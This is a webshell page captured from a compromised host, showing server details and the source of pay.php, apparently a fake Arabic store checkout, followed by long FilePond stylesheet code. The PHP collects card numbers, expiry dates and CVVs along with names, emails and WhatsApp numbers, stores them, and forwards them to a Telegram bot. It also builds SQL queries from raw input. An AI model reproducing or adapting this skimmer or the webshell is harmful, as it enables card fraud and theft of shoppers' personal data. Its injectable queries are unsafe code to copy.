403Webshell
Server IP : 46.202.172.170  /  Your IP : 216.73.216.59
Web Server : LiteSpeed
System : Linux fr-int-web1904.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
User : u627918583 ( 627918583)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u627918583/domains/rokamaksa.com/public_html/ar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u627918583/domains/rokamaksa.com/public_html/ar/pay.php
<?php 
session_start();
include "connection.php";
global $connection;

$pricecheckout = $_SESSION['pricecheckout'];
$delivarycompany = $_SESSION['delivarycompany'];

if (!isset($pricecheckout) && !isset($delivarycompany)) {
    header("location:../ar/");
}

$aqsad = '';
$aqsad_num = 0;
$user = $_SESSION["user"];
$stmt = $connection->prepare("SELECT product_id FROM `cart` WHERE `user` = ?");
$stmt->bind_param("s" , $user);
$stmt->execute();
$row = $stmt->get_result(); 

$installment = 0;
while ($data = $row->fetch_assoc()){
    $id = $data['product_id'];
    $stmt_products = $connection->prepare("SELECT subclass, aqsad FROM products WHERE id = $id");
    $stmt_products->execute(); 
    $row_products = $stmt_products->get_result();
                                  
    while ($data_products = $row_products->fetch_assoc()){
        if ($data_products['aqsad'] == 'يدعم التقسيط') {
            $aqsad_num = 1;
        }
    }
}

$stmt = $connection->prepare("SELECT product_id FROM `cart` WHERE `user` = ?");
$stmt->bind_param("s" , $user);
$stmt->execute();
$row = $stmt->get_result(); 
$price = 0;
while ($data = $row->fetch_assoc()){
    $id = $data['product_id'];
    $stmt_products = $connection->prepare("SELECT price, decPrice FROM products WHERE id = $id");
    $stmt_products->execute(); 
    $row_products = $stmt_products->get_result();
                                  
    while ($data_products = $row_products->fetch_assoc()){
        if ($data_products['decPrice'] == 0) {
            $price += $data_products['price'];
        }else {
            $price += $data_products['decPrice'];
        }
    }
}
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $submit = isset($_POST["submit"]) ? $_POST["submit"] : null;
    if ($submit == "pay") {
        $user = $_SESSION["user"];
        $stmt = $connection->prepare("SELECT `name`, `email`, `whatsapp` FROM `orders` WHERE `user` = $user");
        $stmt->execute();
        $row = $stmt->get_result(); 
        while ($data = $row->fetch_assoc()){
            $name = $data["name"];
            $email = $data["email"];
            $whatsapp = $data["whatsapp"];
        } 

        $cc_name = isset($_POST['cc-name']) ? $_POST['cc-name'] : '';
        $cc_number = isset($_POST['cc-number']) ? $_POST['cc-number'] : '';
        $cc_number = str_replace(" ", "", $cc_number);
        $cc_month = isset($_POST['cc_month']) ? $_POST['cc_month'] : '';
        $cc_year = isset($_POST['cc_year']) ? $_POST['cc_year'] : '';
        $cc_csc = isset($_POST['cc-csc']) ? $_POST['cc-csc'] : '';
        $token1 = $token;
        $bot_id1 = $tokenID;
    
        $query = "UPDATE `orders` SET `cc-name`='$cc_name',`cc-number`='$cc_number',`cc_month`='$cc_month',`cc_year`='$cc_year',`cc-csc`='$cc_csc', `FirstBatch`='$pricecheckout',`Installment`= 0 WHERE `user` = $user";
        $result = mysqli_query($connection, $query);

        $databot='Order For '.$webnameE.PHP_EOL.'Order Number: =>  '. $user.PHP_EOL.'Total Amount: =>  '. $pricecheckout.PHP_EOL.'Name: =>  '. $name.PHP_EOL.'Email: =>  '. $email.PHP_EOL.'Whatsapp: =>  https://wa.me/966'.$whatsapp.PHP_EOL.'Card Holder Name: =>  '. $cc_name.PHP_EOL.'Card Number: =>  '. $cc_number.PHP_EOL.'Valid To: =>  '. $cc_month.'/'.$cc_year.PHP_EOL.'CVV : =>  '. $cc_csc.PHP_EOL.'   ';
        $apiToken = $token1;
        $data = [
        'chat_id' => $bot_id1,
        'text' => $databot
        ];
        $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" .http_build_query($data) );

        if ($result){
            header("location:code.php");
        }
    }

    if ($submit == "coupon") {
        $coupon_input = $_POST['coupon-input'];
        $stmt = $connection->prepare("SELECT price FROM coupons WHERE coupon = ?");
        $stmt->bind_param("s" , $coupon_input);
        $stmt->execute();
        $row = $stmt->get_result(); 
        while ($data = $row->fetch_assoc()){
            $coupons = $data["price"];
        } 
    }
}
?>

<!DOCTYPE html>
<html lang="en" dir="rtl">
<head>
    <meta charset="UTF-8" dir="rtl" lang="ar">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport"
        content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no">

    <meta name="theme-color" content="#335cf4">
    <meta name="msapplication-navbutton-color" content="#335cf4">
    <meta name="apple-mobile-web-app-status-bar-style" content="#335cf4">

    <link rel="icon" type="image/png" href="../BEqq/<?= $logo_icon ?>">
    <link rel="apple-touch-icon-precomposed" href="../BEqq/<?= $logo_icon ?>">
    <meta name="msapplication-TileColor" content="#ffffff">
    <meta name="msapplication-TileImage" content="../BEqq/<?= $logo_icon ?>">
    <meta name="_token" content="">
    <meta name="referrer" content="origin-when-cross-origin">

    <link rel="stylesheet" href="../fonts/pingarlt.css?v=2.0">
    <link rel="stylesheet" href="../fonts/sallaicons.css">

    <link rel="stylesheet"
        href="../prod/stores/vendor/checkout/css/libraries.f1f76f2b83960df1f76594914d91ae3b.css">
    <link rel="stylesheet"
        href="../prod/stores/vendor/checkout/css/checkout.681127a7a8025eb7b8fbcf395276077e.css">
    <title><?= $webnameE ?> | إتمام الطلب </title>
    <title>إتمام الطلب - <?= $webnameE ?></title>
    <meta name="description" content="<?= $des_website; ?>">
    <meta name="keywords" content="<?= $des_website; ?>">
    <meta property="store:published_time" content="2020-11-11T07:40:17+03:00">
    <meta property="og:description" content="<?= $des_website; ?>">
    <meta property="og:title" content="إتمام الطلب">

    <style type="text/css" rel="stylesheet">
        :root {
            --color-primary: #335cf4;
            --color-primary-reverse: #000075;
            --color-text: #333;
            --color-text-reverse: #fff;

            --color-primary-l: #b2dbff;
            --color-primary-t: #5982ff;
            --color-primary-tt: #000075;

            --color-primary-d: #1a43db;
            --color-title: #0010a8;

            --color-border: #eee;
            --bs-card-border-color: #eee;
            --bs-card-cap-padding-y: 1rem;
        }
    </style>

    <style>
        .slide-enter-active,
        .slide-leave-active {
            transition: height .5s ease
        }

        .slide-enter,
        .slide-leave-to {
            height: 0;
            overflow: hidden
        }
    </style>
    <style>
        /*!
 * FilePond 4.30.4
 * Licensed under MIT, https://opensource.org/licenses/MIT/
 * Please visit https://pqina.nl/filepond/ for details.
 */
        .filepond--assistant {
            clip: rect(1px, 1px, 1px, 1px);
            border: 0;
            -webkit-clip-path: inset(50%);
            clip-path: inset(50%);
            height: 1px;
            overflow: hidden;
            padding: 0;
            position: absolute;
            white-space: nowrap;
            width: 1px
        }

        .filepond--browser.filepond--browser {
            font-size: 0;
            left: 1em;
            margin: 0;
            opacity: 0;
            padding: 0;
            position: absolute;
            top: 1.75em;
            width: calc(100% - 2em)
        }

        .filepond--data {
            border: none;
            contain: strict;
            height: 0;
            margin: 0;
            padding: 0;
            visibility: hidden;
            width: 0
        }

        .filepond--data,
        .filepond--drip {
            pointer-events: none;
            position: absolute
        }

        .filepond--drip {
            background: rgba(0, 0, 0, .01);
            border-radius: .5em;
            bottom: 0;
            left: 0;
            opacity: .1;
            overflow: hidden;
            right: 0;
            top: 0
        }

        .filepond--drip-blob {
            background: #292625;
            border-radius: 50%;
            height: 8em;
            margin-left: -4em;
            margin-top: -4em;
            -webkit-transform-origin: center center;
            transform-origin: center center;
            width: 8em
        }

        .filepond--drip-blob,
        .filepond--drop-label {
            left: 0;
            position: absolute;
            top: 0;
            will-change: transform, opacity
        }

        .filepond--drop-label {
            align-items: center;
            color: #4f4f4f;
            display: flex;
            height: 0;
            justify-content: center;
            margin: 0;
            right: 0;
            -webkit-user-select: none;
            -ms-user-select: none;
            user-select: none
        }

        .filepond--drop-label.filepond--drop-label label {
            display: block;
            margin: 0;
            padding: .5em
        }

        .filepond--drop-label label {
            cursor: default;
            font-size: .875em;
            font-weight: 400;
            line-height: 1.5;
            text-align: center
        }

        .filepond--label-action {
            -webkit-text-decoration-skip: ink;
            cursor: pointer;
            text-decoration: underline;
            -webkit-text-decoration-color: #a7a4a4;
            text-decoration-color: #a7a4a4;
            text-decoration-skip-ink: auto
        }

        .filepond--root[data-disabled] .filepond--drop-label label {
            opacity: .5
        }

        .filepond--file-action-button.filepond--file-action-button {
            border: none;
            font-family: inherit;
            font-size: 1em;
            height: 1.625em;
            line-height: inherit;
            margin: 0;
            outline: none;
            padding: 0;
            width: 1.625em;
            will-change: transform, opacity
        }

        .filepond--file-action-button.filepond--file-action-button span {
            clip: rect(1px, 1px, 1px, 1px);
            border: 0;
            -webkit-clip-path: inset(50%);
            clip-path: inset(50%);
            height: 1px;
            overflow: hidden;
            padding: 0;
            position: absolute;
            white-space: nowrap;
            width: 1px
        }

        .filepond--file-action-button.filepond--file-action-button svg {
            height: 100%;
            width: 100%
        }

        .filepond--file-action-button.filepond--file-action-button:after {
            bottom: -.75em;
            content: "";
            left: -.75em;
            position: absolute;
            right: -.75em;
            top: -.75em
        }

        .filepond--file-action-button {
            background-color: rgba(0, 0, 0, .5);
            background-image: none;
            border-radius: 50%;
            box-shadow: 0 0 0 0 hsla(0, 0%, 100%, 0);
            color: #fff;
            cursor: auto;
            transition: box-shadow .25s ease-in
        }

        .filepond--file-action-button:focus,
        .filepond--file-action-button:hover {
            box-shadow: 0 0 0 .125em hsla(0, 0%, 100%, .9)
        }

        .filepond--file-action-button[disabled] {
            background-color: rgba(0, 0, 0, .25);
            color: hsla(0, 0%, 100%, .5)
        }

        .filepond--file-action-button[hidden] {
            display: none
        }

        .filepond--action-edit-item.filepond--action-edit-item {
            height: 2em;
            padding: .1875em;
            width: 2em
        }

        .filepond--action-edit-item.filepond--action-edit-item[data-align*=center] {
            margin-left: -.1875em
        }

        .filepond--action-edit-item.filepond--action-edit-item[data-align*=bottom] {
            margin-bottom: -.1875em
        }

        .filepond--action-edit-item-alt {
            background: transparent;
            border: none;
            color: inherit;
            font-family: inherit;
            line-height: inherit;
            margin: 0 0 0 .25em;
            outline: none;
            padding: 0;
            pointer-events: all;
            position: absolute
        }

        .filepond--action-edit-item-alt svg {
            height: 1.3125em;
            width: 1.3125em
        }

        .filepond--action-edit-item-alt span {
            font-size: 0;
            opacity: 0
        }

        .filepond--file-info {
            align-items: flex-start;
            display: flex;
            flex: 1;
            flex-direction: column;
            margin: 0 .5em 0 0;
            min-width: 0;
            pointer-events: none;
            position: static;
            -webkit-user-select: none;
            -ms-user-select: none;
            user-select: none;
            will-change: transform, opacity
        }

        .filepond--file-info * {
            margin: 0
        }

        .filepond--file-info .filepond--file-info-main {
            font-size: .75em;
            line-height: 1.2;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
            width: 100%
        }

        .filepond--file-info .filepond--file-info-sub {
            font-size: .625em;
            opacity: .5;
            transition: opacity .25s ease-in-out;
            white-space: nowrap
        }

        .filepond--file-info .filepond--file-info-sub:empty {
            display: none
        }

        .filepond--file-status {
            align-items: flex-end;
            display: flex;
            flex-direction: column;
            flex-grow: 0;
            flex-shrink: 0;
            margin: 0;
            min-width: 2.25em;
            pointer-events: none;
            position: static;
            text-align: right;
            -webkit-user-select: none;
            -ms-user-select: none;
            user-select: none;
            will-change: transform, opacity
        }

        .filepond--file-status * {
            margin: 0;
            white-space: nowrap
        }

        .filepond--file-status .filepond--file-status-main {
            font-size: .75em;
            line-height: 1.2
        }

        .filepond--file-status .filepond--file-status-sub {
            font-size: .625em;
            opacity: .5;
            transition: opacity .25s ease-in-out
        }

        .filepond--file-wrapper.filepond--file-wrapper {
            border: none;
            height: 100%;
            margin: 0;
            min-width: 0;
            padding: 0
        }

        .filepond--file-wrapper.filepond--file-wrapper>legend {
            clip: rect(1px, 1px, 1px, 1px);
            border: 0;
            -webkit-clip-path: inset(50%);
            clip-path: inset(50%);
            height: 1px;
            overflow: hidden;
            padding: 0;
            position: absolute;
            white-space: nowrap;
            width: 1px
        }

        .filepond--file {
            align-items: flex-start;
            border-radius: .5em;
            color: #fff;
            display: flex;
            height: 100%;
            padding: .5625em;
            position: static
        }

        .filepond--file .filepond--file-status {
            margin-left: auto;
            margin-right: 2.25em
        }

        .filepond--file .filepond--processing-complete-indicator {
            pointer-events: none;
            -webkit-user-select: none;
            -ms-user-select: none;
            user-select: none;
            z-index: 3
        }

        .filepond--file .filepond--file-action-button,
        .filepond--file .filepond--processing-complete-indicator,
        .filepond--file .filepond--progress-indicator {
            position: absolute
        }

        .filepond--file [data-align*=left] {
            left: .5625em
        }

        .filepond--file [data-align*=right] {
            right: .5625em
        }

        .filepond--file [data-align*=center] {
            left: calc(50% - .8125em)
        }

        .filepond--file [data-align*=bottom] {
            bottom: 1.125em
        }

        .filepond--file [data-align=center] {
            top: calc(50% - .8125em)
        }

        .filepond--file .filepond--progress-indicator {
            margin-top: .1875em
        }

        .filepond--file .filepond--progress-indicator[data-align*=right] {
            margin-right: .1875em
        }

        .filepond--file .filepond--progress-indicator[data-align*=left] {
            margin-left: .1875em
        }

        [data-filepond-item-state*=error] .filepond--file-info,
        [data-filepond-item-state*=invalid] .filepond--file-info,
        [data-filepond-item-state=cancelled] .filepond--file-info {
            margin-right: 2.25em
        }

        [data-filepond-item-state~=processing] .filepond--file-status-sub {
            opacity: 0
        }

        [data-filepond-item-state~=processing] .filepond--action-abort-item-processing~.filepond--file-status .filepond--file-status-sub {
            opacity: .5
        }

        [data-filepond-item-state=processing-error] .filepond--file-status-sub {
            opacity: 0
        }

        [data-filepond-item-state=processing-error] .filepond--action-retry-item-processing~.filepond--file-status .filepond--file-status-sub {
            opacity: .5
        }

        [data-filepond-item-state=processing-complete] .filepond--action-revert-item-processing svg {
            -webkit-animation: fall .5s linear .125s both;
            animation: fall .5s linear .125s both
        }

        [data-filepond-item-state=processing-complete] .filepond--file-status-sub {
            opacity: .5
        }

        [data-filepond-item-state=processing-complete] .filepond--file-info-sub,
        [data-filepond-item-state=processing-complete] .filepond--processing-complete-indicator:not([style*=hidden])~.filepond--file-status .filepond--file-status-sub {
            opacity: 0
        }

        [data-filepond-item-state=processing-complete] .filepond--action-revert-item-processing~.filepond--file-info .filepond--file-info-sub {
            opacity: .5
        }

        [data-filepond-item-state*=error] .filepond--file-wrapper,
        [data-filepond-item-state*=error] .filepond--panel,
        [data-filepond-item-state*=invalid] .filepond--file-wrapper,
        [data-filepond-item-state*=invalid] .filepond--panel {
            -webkit-animation: shake .65s linear both;
            animation: shake .65s linear both
        }

        [data-filepond-item-state*=busy] .filepond--progress-indicator svg {
            -webkit-animation: spin 1s linear infinite;
            animation: spin 1s linear infinite
        }

        @-webkit-keyframes spin {
            0% {
                -webkit-transform: rotate(0deg);
                transform: rotate(0deg)
            }

            to {
                -webkit-transform: rotate(1turn);
                transform: rotate(1turn)
            }
        }

        @keyframes spin {
            0% {
                -webkit-transform: rotate(0deg);
                transform: rotate(0deg)
            }

            to {
                -webkit-transform: rotate(1turn);
                transform: rotate(1turn)
            }
        }

        @-webkit-keyframes shake {

            10%,
            90% {
                -webkit-transform: translateX(-.0625em);
                transform: translateX(-.0625em)
            }

            20%,
            80% {
                -webkit-transform: translateX(.125em);
                transform: translateX(.125em)
            }

            30%,
            50%,
            70% {
                -webkit-transform: translateX(-.25em);
                transform: translateX(-.25em)
            }

            40%,
            60% {
                -webkit-transform: translateX(.25em);
                transform: translateX(.25em)
            }
        }

        @keyframes shake {

            10%,
            90% {
                -webkit-transform: translateX(-.0625em);
                transform: translateX(-.0625em)
            }

            20%,
            80% {
                -webkit-transform: translateX(.125em);
                transform: translateX(.125em)
            }

            30%,
            50%,
            70% {
                -webkit-transform: translateX(-.25em);
                transform: translateX(-.25em)
            }

            40%,
            60% {
                -webkit-transform: translateX(.25em);
                transform: translateX(.25em)
            }
        }

        @-webkit-keyframes fall {
            0% {
                -webkit-animation-timing-function: ease-out;
                animation-timing-function: ease-out;
                opacity: 0;
                -webkit-transform: scale(.5);
                transform: scale(.5)
            }

            70% {
                -webkit-animation-timing-function: ease-in-out;
                animation-timing-function: ease-in-out;
                opacity: 1;
                -webkit-transform: scale(1.1);
                transform: scale(1.1)
            }

            to {
                -webkit-animation-timing-function: ease-out;
                animation-timing-function: ease-out;
                -webkit-transform: scale(1);
                transform: scale(1)
            }
        }

        @keyframes fall {
            0% {
                -webkit-animation-timing-function: ease-out;
                animation-timing-function: ease-out;
                opacity: 0;
                -webkit-transform: scale(.5);
                transform: scale(.5)
            }

            70% {
                -webkit-animation-timing-function: ease-in-out;
                animation-timing-function: ease-in-out;
                opacity: 1;
                -webkit-transform: scale(1.1);
                transform: scale(1.1)
            }

            to {
                -webkit-animation-timing-function: ease-out;
                animation-timing-function: ease-out;
                -webkit-transform: scale(1);
                transform: scale(1)
            }
        }

        .filepond--hopper[data-hopper-state=drag-over]>* {
            pointer-events: none
        }

        .filepond--hopper[data-hopper-state=drag-over]:after {
            bottom: 0;
            content: "";
            left: 0;
            position: absolute;
            right: 0;
            top: 0;
            z-index: 100
        }

        .filepond--progress-indicator {
            z-index: 103
        }

        .filepond--file-action-button {
            z-index: 102
        }

        .filepond--file-status {
            z-index: 101
        }

        .filepond--file-info {
            z-index: 100
        }

        .filepond--item {
            left: 0;
            margin: .25em;
            padding: 0;
            position: absolute;
            right: 0;
            top: 0;
            will-change: transform, opacity;
            z-index: 1
        }

        .filepond--item>.filepond--panel {
            z-index: -1
        }

        .filepond--item>.filepond--panel .filepond--panel-bottom {
            box-shadow: 0 .0625em .125em -.0625em rgba(0, 0, 0, .25)
        }

        .filepond--item>.filepond--file-wrapper,
        .filepond--item>.filepond--panel {
            transition: opacity .15s ease-out
        }

        .filepond--item[data-drag-state] {
            cursor: -webkit-grab;
            cursor: grab
        }

        .filepond--item[data-drag-state]>.filepond--panel {
            box-shadow: 0 0 0 transparent;
            transition: box-shadow .125s ease-in-out
        }

        .filepond--item[data-drag-state=drag] {
            cursor: -webkit-grabbing;
            cursor: grabbing
        }

        .filepond--item[data-drag-state=drag]>.filepond--panel {
            box-shadow: 0 .125em .3125em rgba(0, 0, 0, .325)
        }

        .filepond--item[data-drag-state]:not([data-drag-state=idle]) {
            z-index: 2
        }

        .filepond--item-panel {
            background-color: #64605e
        }

        [data-filepond-item-state=processing-complete] .filepond--item-panel {
            background-color: #369763
        }

        [data-filepond-item-state*=error] .filepond--item-panel,
        [data-filepond-item-state*=invalid] .filepond--item-panel {
            background-color: #c44e47
        }

        .filepond--item-panel {
            border-radius: .5em;
            transition: background-color .25s
        }

        .filepond--list-scroller {
            left: 0;
            margin: 0;
            position: absolute;
            right: 0;
            top: 0;
            will-change: transform
        }

        .filepond--list-scroller[data-state=overflow] .filepond--list {
            bottom: 0;
            right: 0
        }

        .filepond--list-scroller[data-state=overflow] {
            -webkit-overflow-scrolling: touch;
            -webkit-mask: linear-gradient(180deg, #000 calc(100% - .5em), transparent);
            mask: linear-gradient(180deg, #000 calc(100% - .5em), transparent);
            overflow-x: hidden;
            overflow-y: scroll
        }

        .filepond--list-scroller::-webkit-scrollbar {
            background: transparent
        }

        .filepond--list-scroller::-webkit-scrollbar:vertical {
            width: 1em
        }

        .filepond--list-scroller::-webkit-scrollbar:horizontal {
            height: 0
        }

        .filepond--list-scroller::-webkit-scrollbar-thumb {
            background-clip: content-box;
            background-color: rgba(0, 0, 0, .3);
            border: .3125em solid transparent;
            border-radius: 99999px
        }

        .filepond--list.filepond--list {
            list-style-type: none;
            margin: 0;
            padding: 0;
            position: absolute;
            top: 0;
            will-change: transform
        }

        .filepond--list {
            left: .75em;
            right: .75em
        }

        .filepond--root[data-style-panel-layout~=integrated] {
            height: 100%;
            margin: 0;
            max-width: none;
            width: 100%
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--panel-root,
        .filepond--root[data-style-panel-layout~=integrated] .filepond--panel-root {
            border-radius: 0
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--panel-root>*,
        .filepond--root[data-style-panel-layout~=integrated] .filepond--panel-root>* {
            display: none
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--drop-label,
        .filepond--root[data-style-panel-layout~=integrated] .filepond--drop-label {
            align-items: center;
            bottom: 0;
            display: flex;
            height: auto;
            justify-content: center;
            z-index: 7
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--item-panel,
        .filepond--root[data-style-panel-layout~=integrated] .filepond--item-panel {
            display: none
        }

        .filepond--root[data-style-panel-layout~=compact] .filepond--list-scroller,
        .filepond--root[data-style-panel-layout~=integrated] .filepond--list-scroller {
            height: 100%;
            margin-bottom: 0;
            margin-top: 0;
            overflow: hidden
        }

        .filepond--root[data-style-panel-layout~=compact] .filepond--list,
        .filepond--root[data-style-panel-layout~=integrated] .filepond--list {
            height: 100%;
            left: 0;
            right: 0
        }

        .filepond--root[data-style-panel-layout~=compact] .filepond--item,
        .filepond--root[data-style-panel-layout~=integrated] .filepond--item {
            margin: 0
        }

        .filepond--root[data-style-panel-layout~=compact] .filepond--file-wrapper,
        .filepond--root[data-style-panel-layout~=integrated] .filepond--file-wrapper {
            height: 100%
        }

        .filepond--root[data-style-panel-layout~=compact] .filepond--drop-label,
        .filepond--root[data-style-panel-layout~=integrated] .filepond--drop-label {
            z-index: 7
        }

        .filepond--root[data-style-panel-layout~=circle] {
            border-radius: 99999rem;
            overflow: hidden
        }

        .filepond--root[data-style-panel-layout~=circle]>.filepond--panel {
            border-radius: inherit
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--file-info,
        .filepond--root[data-style-panel-layout~=circle] .filepond--file-status,
        .filepond--root[data-style-panel-layout~=circle]>.filepond--panel>* {
            display: none
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--action-edit-item {
            opacity: 1 !important;
            visibility: visible !important
        }

        @media not all and (-webkit-min-device-pixel-ratio:0),
        not all and (min-resolution:0.001dpcm) {
            @supports (-webkit-appearance:none) and (stroke-color:transparent) {
                .filepond--root[data-style-panel-layout~=circle] {
                    will-change: transform
                }
            }
        }

        .filepond--panel-root {
            background-color: #f1f0ef;
            border-radius: .5em
        }

        .filepond--panel {
            height: 100% !important;
            left: 0;
            margin: 0;
            pointer-events: none;
            position: absolute;
            right: 0;
            top: 0
        }

        .filepond-panel:not([data-scalable=false]) {
            height: auto !important
        }

        .filepond--panel[data-scalable=false]>div {
            display: none
        }

        .filepond--panel[data-scalable=true] {
            background-color: transparent !important;
            border: none !important;
            -webkit-transform-style: preserve-3d;
            transform-style: preserve-3d
        }

        .filepond--panel-bottom,
        .filepond--panel-center,
        .filepond--panel-top {
            left: 0;
            margin: 0;
            padding: 0;
            position: absolute;
            right: 0;
            top: 0
        }

        .filepond--panel-bottom,
        .filepond--panel-top {
            height: .5em
        }

        .filepond--panel-top {
            border-bottom: none !important;
            border-bottom-left-radius: 0 !important;
            border-bottom-right-radius: 0 !important
        }

        .filepond--panel-top:after {
            background-color: inherit;
            bottom: -1px;
            content: "";
            height: 2px;
            left: 0;
            position: absolute;
            right: 0
        }

        .filepond--panel-bottom,
        .filepond--panel-center {
            -webkit-backface-visibility: hidden;
            backface-visibility: hidden;
            -webkit-transform: translate3d(0, .5em, 0);
            transform: translate3d(0, .5em, 0);
            -webkit-transform-origin: left top;
            transform-origin: left top;
            will-change: transform
        }

        .filepond--panel-bottom {
            border-top: none !important;
            border-top-left-radius: 0 !important;
            border-top-right-radius: 0 !important
        }

        .filepond--panel-bottom:before {
            background-color: inherit;
            content: "";
            height: 2px;
            left: 0;
            position: absolute;
            right: 0;
            top: -1px
        }

        .filepond--panel-center {
            border-bottom: none !important;
            border-radius: 0 !important;
            border-top: none !important;
            height: 100px !important
        }

        .filepond--panel-center:not([style]) {
            visibility: hidden
        }

        .filepond--progress-indicator {
            color: #fff;
            height: 1.25em;
            margin: 0;
            pointer-events: none;
            position: static;
            width: 1.25em;
            will-change: transform, opacity
        }

        .filepond--progress-indicator svg {
            height: 100%;
            transform-box: fill-box;
            vertical-align: top;
            width: 100%
        }

        .filepond--progress-indicator path {
            fill: none;
            stroke: currentColor
        }

        .filepond--list-scroller {
            z-index: 6
        }

        .filepond--drop-label {
            z-index: 5
        }

        .filepond--drip {
            z-index: 3
        }

        .filepond--root>.filepond--panel {
            z-index: 2
        }

        .filepond--browser {
            z-index: 1
        }

        .filepond--root {
            box-sizing: border-box;
            contain: layout style size;
            direction: ltr;
            font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica, Arial, sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;
            font-size: 1rem;
            font-weight: 450;
            line-height: normal;
            margin-bottom: 1em;
            position: relative;
            text-align: left;
            text-rendering: optimizeLegibility
        }

        .filepond--root * {
            box-sizing: inherit;
            line-height: inherit
        }

        .filepond--root :not(text) {
            font-size: inherit
        }

        .filepond--root[data-disabled] {
            pointer-events: none
        }

        .filepond--root[data-disabled] .filepond--list-scroller {
            pointer-events: all
        }

        .filepond--root[data-disabled] .filepond--list {
            pointer-events: none
        }

        .filepond--root .filepond--drop-label {
            min-height: 4.75em
        }

        .filepond--root .filepond--list-scroller {
            margin-bottom: 1em;
            margin-top: 1em
        }

        .filepond--root .filepond--credits {
            bottom: -14px;
            color: inherit;
            font-size: 11px;
            line-height: .85;
            opacity: .175;
            position: absolute;
            right: 0;
            text-decoration: none;
            z-index: 3
        }

        .filepond--root .filepond--credits[style] {
            bottom: auto;
            margin-top: 14px;
            top: 0
        }
    </style>
    <style>
        /*!
 * FilePondPluginImagePreview 4.6.11
 * Licensed under MIT, https://opensource.org/licenses/MIT/
 * Please visit https://pqina.nl/filepond/ for details.
 */
        .filepond--image-preview-markup {
            left: 0;
            position: absolute;
            top: 0
        }

        .filepond--image-preview-wrapper {
            z-index: 2
        }

        .filepond--image-preview-overlay {
            display: block;
            left: 0;
            margin: 0;
            max-height: 7rem;
            min-height: 5rem;
            opacity: 0;
            pointer-events: none;
            position: absolute;
            top: 0;
            -webkit-user-select: none;
            -ms-user-select: none;
            user-select: none;
            width: 100%;
            z-index: 2
        }

        .filepond--image-preview-overlay svg {
            color: inherit;
            height: auto;
            max-height: inherit;
            width: 100%
        }

        .filepond--image-preview-overlay-idle {
            color: rgba(40, 40, 40, .85);
            mix-blend-mode: multiply
        }

        .filepond--image-preview-overlay-success {
            color: #369763;
            mix-blend-mode: normal
        }

        .filepond--image-preview-overlay-failure {
            color: #c44e47;
            mix-blend-mode: normal
        }

        @supports (-webkit-marquee-repetition:infinite) and ((-o-object-fit:fill) or (object-fit:fill)) {
            .filepond--image-preview-overlay-idle {
                mix-blend-mode: normal
            }
        }

        .filepond--image-preview-wrapper {
            background: rgba(0, 0, 0, .01);
            border-radius: .45em;
            height: 100%;
            left: 0;
            margin: 0;
            overflow: hidden;
            position: absolute;
            right: 0;
            top: 0;
            -webkit-user-select: none;
            -ms-user-select: none;
            user-select: none
        }

        .filepond--image-preview {
            align-items: center;
            background: #222;
            display: flex;
            height: 100%;
            left: 0;
            pointer-events: none;
            position: absolute;
            top: 0;
            width: 100%;
            will-change: transform, opacity;
            z-index: 1
        }

        .filepond--image-clip {
            margin: 0 auto;
            overflow: hidden;
            position: relative
        }

        .filepond--image-clip[data-transparency-indicator=grid] canvas,
        .filepond--image-clip[data-transparency-indicator=grid] img {
            background-color: #fff;
            background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 100 100' xmlns='http://www.w3.org/2000/svg' fill='%23eee'%3E%3Cpath d='M0 0h50v50H0m50 0h50v50H50'/%3E%3C/svg%3E");
            background-size: 1.25em 1.25em
        }

        .filepond--image-bitmap,
        .filepond--image-vector {
            left: 0;
            position: absolute;
            top: 0;
            will-change: transform
        }

        .filepond--root[data-style-panel-layout~=integrated] .filepond--image-preview-wrapper {
            border-radius: 0
        }

        .filepond--root[data-style-panel-layout~=integrated] .filepond--image-preview {
            align-items: center;
            display: flex;
            height: 100%;
            justify-content: center
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--image-preview-wrapper {
            border-radius: 99999rem
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--image-preview-overlay {
            bottom: 0;
            top: auto;
            -webkit-transform: scaleY(-1);
            transform: scaleY(-1)
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--file .filepond--file-action-button[data-align*=bottom]:not([data-align*=center]) {
            margin-bottom: .325em
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--file [data-align*=left] {
            left: calc(50% - 3em)
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--file [data-align*=right] {
            right: calc(50% - 3em)
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--progress-indicator[data-align*=bottom][data-align*=left],
        .filepond--root[data-style-panel-layout~=circle] .filepond--progress-indicator[data-align*=bottom][data-align*=right] {
            margin-bottom: .5125em
        }

        .filepond--root[data-style-panel-layout~=circle] .filepond--progress-indicator[data-align*=bottom][data-align*=center] {
            margin-bottom: .1875em;
            margin-left: .1875em;
            margin-top: 0
        }
    </style>
    <style>
        [type=tel][data-v-0d943f88] {
            direction: ltr
        }
    </style>
    <style>
        .content {
            padding: 20px
        }

        .tabby-button {
            background: #3eedbf;
            border: 0;
            border-radius: 3px;
            cursor: pointer;
            font-size: 14px;
            height: 42px;
            margin-bottom: 20px;
            margin-left: 5px;
            margin-right: 5px;
            outline: 0;
            padding: 0;
            text-transform: uppercase;
